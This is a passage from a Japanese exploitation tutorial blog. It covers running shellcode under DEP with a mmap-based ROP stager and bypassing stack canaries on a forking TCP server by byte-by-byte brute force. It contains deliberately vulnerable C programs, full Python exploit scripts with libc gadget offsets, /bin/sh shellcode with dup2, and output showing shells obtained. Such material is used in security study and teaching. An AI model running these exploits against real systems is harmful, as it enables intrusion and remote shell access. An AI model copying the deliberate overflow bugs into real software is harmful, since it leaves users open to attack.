あるいは、出力したバイナリデータの中からROP gadgetを探して使うこともできる。
read/write以外のIO関数を使う
ここではIO関数としてread/writeを使ったが、ネットワークサーバにおけるsend/recvでも同様のことができる。 また、標準出力がfull bufferingでなければ、puts/getsでも可能である。 あるいは、実行ファイルに十分なROP gadgetがある場合、直接read/writeなどのシステムコールを呼ぶことも考えられる。 さらに、open関数やmmap関数などを合わせて使うことで、任意のファイルの読み書きを行うこともできる。
関連リンク
ROP stagerによるシェルコード実行をやってみる
DEPが有効な状況では、スタックバッファオーバーフローなどから命令を実行させるためにROPと呼ばれる手法が使われる。 さらに、ROPを使って任意の処理を実行させる方法として、実行可能なメモリ領域(stage)を動的に確保し、そこに通常のシェルコードをコピーし実行させるという方法が知られている。 この際使われるROPシーケンスはROP stagerと呼ばれる。 ここでは、DEPが有効な状況下で、mmapを使ったROP stagerによるシェルコード実行をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
mmapによるメモリ確保をやってみる
動的に実行可能なメモリ領域を用意する方法として、次の二つのアプローチが考えられる。
- すでに存在するメモリ領域のアクセス保護属性を変更する(mprotect、VirtualProtectなどを利用)
- 新たに実行可能なメモリ領域を確保する(mmap、VirtualAllocなどを利用)
ここでは、後者のアプローチについて考えることとする。
mmapはファイルを一定の範囲のメモリ領域に割り当てる関数であるが、flagにMAP_ANONYMOUS
を指定することでゼロクリアされたメモリ領域の確保に使うこともできる。
$ man mmap NAME mmap, munmap - map or unmap files or devices into memory SYNOPSIS #include <sys/mman.h> void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); int munmap(void *addr, size_t length); DESCRIPTION mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in addr. The length argument specifies the length of the mapping. (snip) In addition, zero or more of the following values can be ORed in flags: MAP_ANONYMOUS The mapping is not backed by any file; its contents are initialized to zero. The fd and offset arguments are ignored; however, some implementations require fd to be -1 if MAP_ANONYMOUS (or MAP_ANON) is specified, and portable applications should ensure this. The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is only supported on Linux since kernel 2.4.
mmapを使って0x20000000から0x1000バイトのメモリ領域を読み書き実行可で確保し、そこにシェルコードをコピーして実行させるC言語のコードを書くと次のようになる。
/* mmap.c */ #include <sys/mman.h> #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int addr = 0x20000000; void *returned_addr; returned_addr = mmap((void *)addr, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); printf("[+] addr = %p, returned_addr = %p\n", (void *)addr, returned_addr); printf("[+] prot = 0x%x, flag = 0x%x\n", PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS); memcpy((char *)addr, shellcode, strlen(shellcode)); (*(void (*)())addr)(); return 0; }
コンパイルして実行すると、シェルコードによりシェルが起動する。
$ gcc mmap.c $ ./a.out [+] addr = 0x20000000, result_addr = 0x20000000 [+] prot = 0x7, flag = 0x22 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
上の結果からは、PROT_READ|PROT_WRITE|PROT_EXEC
が0x7、MAP_PRIVATE|MAP_ANONYMOUS
が0x22であることも確認できる。
gdbで動作を確認してみる
gdbを使い、プログラム実行中のメモリの状態を確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x8048498 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048498 in main () (gdb) i proc process 923 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' (gdb) shell cat /proc/923/maps 08048000-08049000 r-xp 00000000 08:01 1966180 /home/user/tmp/a.out 08049000-0804a000 r--p 00000000 08:01 1966180 /home/user/tmp/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966180 /home/user/tmp/a.out b7e2a000-b7e2b000 rw-p 00000000 00:00 0 b7e2b000-b7fcf000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so ... (gdb) disas Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: push edi => 0x08048498 <+4>: and esp,0xfffffff0 0x0804849b <+7>: sub esp,0x60 ... 0x0804851d <+137>: call 0x80483c0 <mmap@plt> 0x08048522 <+142>: mov DWORD PTR [esp+0x3c],eax ... 0x08048595 <+257>: call 0x8048390 <memcpy@plt> 0x0804859a <+262>: mov eax,DWORD PTR [esp+0x38] 0x0804859e <+266>: call eax ... (gdb) u *main+142 0x08048522 in main () (gdb) shell cat /proc/923/maps 08048000-08049000 r-xp 00000000 08:01 1966180 /home/user/tmp/a.out 08049000-0804a000 r--p 00000000 08:01 1966180 /home/user/tmp/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966180 /home/user/tmp/a.out 20000000-20001000 rwxp 00000000 00:00 0 b7e2a000-b7e2b000 rw-p 00000000 00:00 0 b7e2b000-b7fcf000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so ...
上の結果から、mmap実行後、0x20000000-0x20001000に読み書き実行可能なメモリ領域が確保されていることがわかる。 さらに、シェルコードにジャンプした後の様子を調べてみる。
(gdb) u *main+266 [+] addr = 0x20000000, result_addr = 0x20000000 [+] prot = 0x7, flag = 0x22 0x0804859e in main () (gdb) si 0x20000000 in ?? () (gdb) x/10i $pc => 0x20000000: xor edx,edx 0x20000002: push edx 0x20000003: push 0x68732f2f 0x20000008: push 0x6e69622f 0x2000000d: mov ebx,esp 0x2000000f: push edx 0x20000010: push ebx 0x20000011: mov ecx,esp 0x20000013: lea eax,[edx+0xb] 0x20000016: int 0x80 (gdb) c Continuing. process 923 is executing new program: /bin/dash $ [Inferior 1 (process 923) exited normally] (gdb) quit
0x20000000にコピーされたシェルコードに処理が移り、シェルが起動していることがわかる。
脆弱性のあるプログラムを用意する
mmapの動作を確認できたところで、スタックバッファオーバーフローを起こせるプログラムを書いてみる。
/* bof.c */ #include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); gets(buf); puts(buf); return 0; }
DEP有効、ASLR、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c $ ./a.out AAAA AAAA
エクスプロイトコードを書いてみる
まず、rp++を使ってlibcに含まれるROP gadgetsを出力する。
$ ./rp-lin-x86 --file=/lib/i386-linux-gnu/libc-2.15.so --rop=3 --unique > gadgets.txt
出力されたROP gadgetsをもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE base_libc = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) # dup2(2, 0); dup2(2, 1); execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x41\x8d\x41\x3e\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' addr_stage = 0x20000000 addr_libc_mmap = base_libc + 0x000ebeb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " mmap" addr_libc_memcpy = base_libc + 0x0007f790 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " memcpy" addr_libc_popad = base_libc + 0x0017f49b # 0x0017f49b: popad ; ret ; (3 found) addr_libc_xchg_eax_edi = base_libc + 0x0008f9bc # 0x0008f9bc: xchg eax, edi ; ret ; (1 found) addr_libc_pop_esi = base_libc + 0x00019056 # 0x00019056: pop esi ; ret ; (296 found) addr_libc_pop_ebp = base_libc + 0x0001700f # 0x0001700f: pop ebp ; ret ; (1026 found) addr_libc_pop_ebx = base_libc + 0x0001930e # 0x0001930e: pop ebx ; ret ; (1149 found) addr_libc_pushad = base_libc + 0x0000446c # 0x0000446c: pushad ; ret ; (3 found) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_libc_mmap) buf += struct.pack('<I', addr_libc_popad) buf += struct.pack('<I', addr_stage) buf += struct.pack('<I', 0x1000) buf += struct.pack('<I', 0x7) buf += struct.pack('<I', 0x22) buf += struct.pack('<I', 0xffffffff) buf += struct.pack('<I', 0) buf += 'AAAA' * 2 # prepared registers for pushad: # edi = memcpy # esi = addr_stage # ebp = addr_stage # esp = (keep as it is) # ebx = len(shellcode) # edx # ecx # eax buf += struct.pack('<I', addr_libc_memcpy) buf += struct.pack('<I', addr_libc_xchg_eax_edi) buf += struct.pack('<I', addr_libc_pop_esi) buf += struct.pack('<I', addr_stage) buf += struct.pack('<I', addr_libc_pop_ebp) buf += struct.pack('<I', addr_stage) buf += struct.pack('<I', addr_libc_pop_ebx) buf += struct.pack('<I', len(shellcode)) buf += struct.pack('<I', addr_libc_pushad) buf += shellcode p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.wait()
このコードはlibcのベースアドレス、オーバーフローが起こせるバッファのサイズを順に引数に取る。
上のコードで使われているpushad命令は、8個のレジスタの値を一度にスタックに積む命令である。 pushad命令を実行すると、その時点でのレジスタの値がコメントに書かれた順でスタックに配置される。 このときespもスタックに積まれるので、espがshellcodeを指すように調整することでこれを引数とした関数呼び出しが可能になる。 上のコードでは、memcpy関数の第2引数となる位置にespが入り、これがshellcodeを指すようになっている。
popad命令は8個のレジスタの値を一度にスタックから取り出す命令である。 このとき取り出す順序はpushad命令の逆となるが、espのみレジスタにはセットされず無視される。 上のコードでは、mmapを呼び出した後その引数を読み飛ばすために使っている。
また、glibcにおいてmemcpyやstrcpyなどstring.hに含まれる関数を呼ぶ際には注意が必要である。 gdbを使い、memcpyのシンボルが指すアドレスをディスアセンブルすると次のようになる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x8048467 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048467 in main () (gdb) disas memcpy Dump of assembler code for function memcpy: 0xb7eaa790 <+0>: push ebx 0xb7eaa791 <+1>: call 0xb7f56d53 0xb7eaa796 <+6>: add ebx,0x12685e 0xb7eaa79c <+12>: cmp DWORD PTR [ebx+0x368c],0x0 0xb7eaa7a3 <+19>: jne 0xb7eaa7aa <memcpy+26> 0xb7eaa7a5 <+21>: call 0xb7e44850 0xb7eaa7aa <+26>: lea eax,[ebx-0x126804] 0xb7eaa7b0 <+32>: test DWORD PTR [ebx+0x369c],0x200 0xb7eaa7ba <+42>: je 0xb7eaa7d4 <memcpy+68> 0xb7eaa7bc <+44>: lea eax,[ebx-0x6fc84] 0xb7eaa7c2 <+50>: test DWORD PTR [ebx+0x36bc],0x1 0xb7eaa7cc <+60>: je 0xb7eaa7d4 <memcpy+68> 0xb7eaa7ce <+62>: lea eax,[ebx-0x6bda4] 0xb7eaa7d4 <+68>: pop ebx 0xb7eaa7d5 <+69>: ret End of assembler dump. (gdb) quit
このアセンブリコードはmemcpy関数の処理そのものではなく、CPUのタイプに応じて通常の関数、SSEを利用する関数、SSE2を利用する関数のポインタを返すコードになっている。 これはGNU indirect functionsと呼ばれるELFの拡張機能によるものであり、string.hに含まれる関数の多くはこれを利用し高速化を行っている。 上のコードが実行された後、選ばれた関数のアドレスはeaxにセットされるので、エクスプロイトコード中ではこの値を改めてediにセットしている。
シェルコードには、execveでシェルを起動する前に標準入出力のファイルディスクリプタを端末にするものを用意する。 エクスプロイトコード中において標準エラー出力のファイルディスクリプタ (2) は端末を指しているので、これを標準入出力 (0, 1) に複製するアセンブリコードを書くと次のようになる。
/* dup_stderr.s */ .intel_syntax noprefix .globl _start _start: /* dup2(2, 0) */ xor ecx, ecx lea ebx, [ecx+2] lea eax, [ecx+63] int 0x80 /* dup2(2, 1) */ lea eax, [ecx+63] inc ecx int 0x80 /* execve("/bin//sh", ["/bin//sh", NULL], NULL) */ xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
これをコンパイルしてディスアセンブルすることでシェルコードが得られる。
$ gcc -nostdlib shellcode.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x8d\x41\x3f\x41\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
必要に応じてbof.cをコンパイルし直した後、引数をセットしエクスプロイトコードを実行すると次のようになる。 ここでlibcのベースアドレスはgdbなどを利用して調べる。
$ gcc -fno-stack-protector bof.c $ python exploit.py 0xb7e2b000 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0n\xf1\xb7\x9b\xa4\xfa\xb7\n' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
DEPが有効な状況下で、ROP stagerにより任意のシェルコードが実行できることが確認できた。
関連リンク
- FuzzySecurity | Part 7: Return Oriented Programming
- Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube | Corelan Team
- Airs – Ian Lance Taylor » STT_GNU_IFUNC
- Using GNU indirect functions | Will Newton
- metasploit-framework/modules/exploits/linux/ftp/proftp_telnet_iac.rb at master · rapid7/metasploit-framework
- ctf/pctf2013-e1000/e1000-exploit.py at master · moralfag/ctf
- StalkR's Blog: pCTF 2011 #19 Another small bug
byte-by-byte bruteforceによるSSP回避
「Improper Null Terminationを利用したSSP回避」では、stack canaryの先頭にあるNULLバイトを上書きすることでcanaryの読み出しを行った。 この方法のほかにも、ネットワークサーバがforkサーバとして実装されている場合、1バイトごとのブルートフォースでcanaryを読み出すこともできる。 ここでは、簡単なforkサーバを用意し、ブルートフォースによりSSPを回避してシェルを起動してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
クライアントからの接続を受け付けるごとにforkするTCPサーバを書いてみる。
/* echod.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> void handle_client(int c) { char buf[100]; int size; printf("[+] client socket fd = %d\n", c); printf("[+] canary = %08x\n", *(int *)(buf+sizeof(buf))); recv(c, &size, 4, 0); recv(c, buf, size, 0); send(c, buf, size, 0); } int main(int argc, char *argv[]) { int s, c; struct sockaddr_in addr; int port; int pid; port = atoi(argv[1]); s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr *)&addr, sizeof(addr)); listen(s, 5); while (1) { c = accept(s, NULL, NULL); pid = fork(); if (pid == 0) { close(s); handle_client(c); send(c, "bye", 4, 0); close(c); return 0; } else { close(c); } } }
このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。
ASLR無効、DEP、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc echod.c $ ./a.out 5000 & [1] 28434 $ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000 [+] client socket fd = 4 [+] canary = 383a2600 AAAAbye
4バイトのデータを受信し、そのまま送り返せていることがわかる。 また、このときのクライアントソケットのファイルディスクリプタ番号は4、canaryの値は383a2600となっている。
子プロセスのstack canaryについて確認してみる
forkは親プロセスのプロセス空間をコピーすることで子プロセスを作る。そのため、canaryの値は親プロセスと子プロセスで同じになる。 つまり、何度forkしても子プロセスのcanaryの値はすべて同じ値となる。 このことは、上のプログラムで立ち上げたサーバに複数回接続することによって確認できる。
$ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000 [+] client socket fd = 4 [+] canary = 383a2600 AAAAbye $ echo -e "\x04\x00\x00\x00BBBB" | nc localhost 5000 [+] client socket fd = 4 [+] canary = 383a2600 BBBBbye
常にcanaryの値が0x383a2600となっていることがわかる。 このことを利用すると、canaryの値を1バイトずつブルートフォースすることができる。 最初の1バイトは必ず0x00となるようになっているため、canaryの値は最大256*3 = 768回で得ることができる。
なお、execveはプロセス空間を新しいプログラムによって置き換える。そのため、stack canaryはexecveの前後で別の値となる。
エクスプロイトコードを書いてみる
上の内容をもとに、canaryの値を1バイトずつブルートフォースするエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct import socket import telnetlib base_libc = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh" addr_libc_dup2 = base_libc + 0x000dfba0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " dup2" addr_pop = 0x80485e3 # objdump -d a.out | grep -B2 ret addr_pop2 = 0x80485e2 # objdump -d a.out | grep -B2 ret sock_fd = 4 canary = '' while len(canary) < 4: for i in xrange(256): s = socket.create_connection(('localhost', 5000)) buf = 'A' * bufsize + canary + chr(i) s.sendall(struct.pack('<I', len(buf))) s.sendall(buf) s.recv(len(buf)) buf = s.recv(4) s.close() if 'bye' in buf: canary += chr(i) print "[+] canary byte found: %r" % chr(i) break print "[+] canary = %r" % canary buf = 'A' * bufsize buf += canary buf += 'AAAA' * 3 buf += struct.pack('<I', addr_pop) # we need to save [ebp+0x08] for following send() buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', addr_libc_dup2) buf += struct.pack('<I', addr_pop2) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', 0) buf += struct.pack('<I', addr_libc_dup2) buf += struct.pack('<I', addr_pop2) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', 1) buf += struct.pack('<I', addr_libc_system) buf += struct.pack('<I', addr_libc_exit) buf += struct.pack('<I', addr_libc_binsh) buf += struct.pack('<I', 0) s = socket.create_connection(('localhost', 5000)) s.sendall(struct.pack('<I', len(buf))) s.sendall(buf) print "[+] received: %r" % s.recv(8192) t = telnetlib.Telnet() t.sock = s t.interact() s.close()
このコードは、libcのベースアドレス、バッファサイズを順に引数に取る。
ブルートフォースにおいては、canaryの書き換え後通常通り "bye" が送られてくるかどうかで値が一致しているかどうかを判定している。
また、次に示すディスアセンブル結果から、recvした後にも[ebp+0x8]
としてsendの第一引数となる変数 c (=4) が参照されていることがわかる。
$ objdump -d a.out | sed -n '/<handle_client>:/,/^$/p' 08048614 <handle_client>: ... 8048693: e8 98 fe ff ff call 8048530 <recv@plt> 8048698: 8b 45 8c mov eax,DWORD PTR [ebp-0x74] 804869b: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0 80486a2: 00 80486a3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486a7: 8d 45 90 lea eax,[ebp-0x70] 80486aa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80486ae: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486b1: 89 04 24 mov DWORD PTR [esp],eax 80486b4: e8 97 fe ff ff call 8048550 <send@plt> 80486b9: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80486bc: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80486c3: 74 05 je 80486ca <handle_client+0xb6> 80486c5: e8 c6 fd ff ff call 8048490 <__stack_chk_fail@plt> 80486ca: c9 leave 80486cb: c3 ret
このため、スタックバッファオーバーフローさせた後も[ebp+0x8]
に4が入るように調整する必要がある。
その後、dup2でソケットのファイルディスクリプタを標準入出力に複製した後system関数からシェルを起動する。
また、エクスプロイトコード側では最後に端末からの入出力をソケットに繋ぐ必要があるが、ここではtelnetlibライブラリを利用してこれを行っている。
このコードを実行すると、サーバを起動した端末ではSSPによって出力されるエラーメッセージが大量に流れる。 そこで別の端末から、引数をセットしエクスプロイトコードを実行する。 ここで、libcのベースアドレスはgdbなどを利用して調べる。
$ python exploit.py 0xb7e2b000 100 [+] canary byte found: '\x00' [+] canary byte found: '&' [+] canary byte found: ':' [+] canary byte found: '8' [+] canary = '\x00&:8' [+] received: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00&:8AAAAAAAAAAAA\xe3\x85\x04\x08\x04\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x00\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x01\x00\x00\x000\xa4\xe6\xb7\xb0\xdf\xe5\xb7\x98\xcd\xf8\xb7\x00\x00\x00\x00' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
ブルートフォースによりcanaryの値が得られ、シェルが起動できていることが確認できた。